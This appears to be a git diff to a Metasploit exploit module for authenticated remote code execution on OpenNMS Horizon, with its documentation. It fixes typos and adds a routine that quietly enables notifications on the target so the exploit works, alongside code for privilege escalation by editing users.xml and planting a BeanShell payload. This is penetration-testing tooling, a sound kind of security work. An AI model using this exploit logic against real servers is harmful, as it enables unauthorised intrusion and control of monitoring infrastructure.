diff --git a/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md b/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md index 95021704826b..8ca793b06656 100644 --- a/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md +++ b/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md @@ -4,7 +4,7 @@ For versions 32.0.2 and higher, this module requires valid credentials for a use with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges. -The module first tries to authenticated to the target in order to verify the credentials and obtain the OpenNMS version. +The module first tries to authenticate to the target in order to verify the credentials and obtain the OpenNMS version. Next, the module attempts to obtain the privileges for the current user via the `/rest/users` endpoint and if that fails, via `/rest/filesystem/contents?f=users.xml`. diff --git a/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb b/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb index 3fc498ceddb8..7f4077a99db2 100644 --- a/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb +++ b/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb @@ -452,7 +452,7 @@ def escalate_or_deescalate_privs(deescalate: false) # upload the edited users.xml file via the filesystem endpoint success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode) unless deescalate - # If we have escalated privileges via the filesytem, we need to wait a few seconds for the changes to be saved + # If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...") sleep(privesc_save_delay) end @@ -834,6 +834,32 @@ def execute_command(cmd, _opts = {}) end end + # Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled + # in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on. + # https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html + def ensure_notifications_enabled + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.jsp'), + 'keep_cookies' => true + }) + fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res + + if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty? + vprint_status("Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...") + res2 = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'), + 'keep_cookies' => true, + 'vars_post' => { + 'status' => 'on' + } + }) + fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp') + end + vprint_good("Notifications are enabled") + end + def exploit # Check if we need to escalate privileges if @highest_priv && @highest_priv != 'GOD' @@ -847,6 +873,9 @@ def exploit _success, message = opennms_login('exploit') vprint_status(message) # _success will always be true here, otherwise we would have failed already + # Check to ensure Notifications are turned on. If they are disabled, enable them. + ensure_notifications_enabled + # Generate a random payload file name @payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase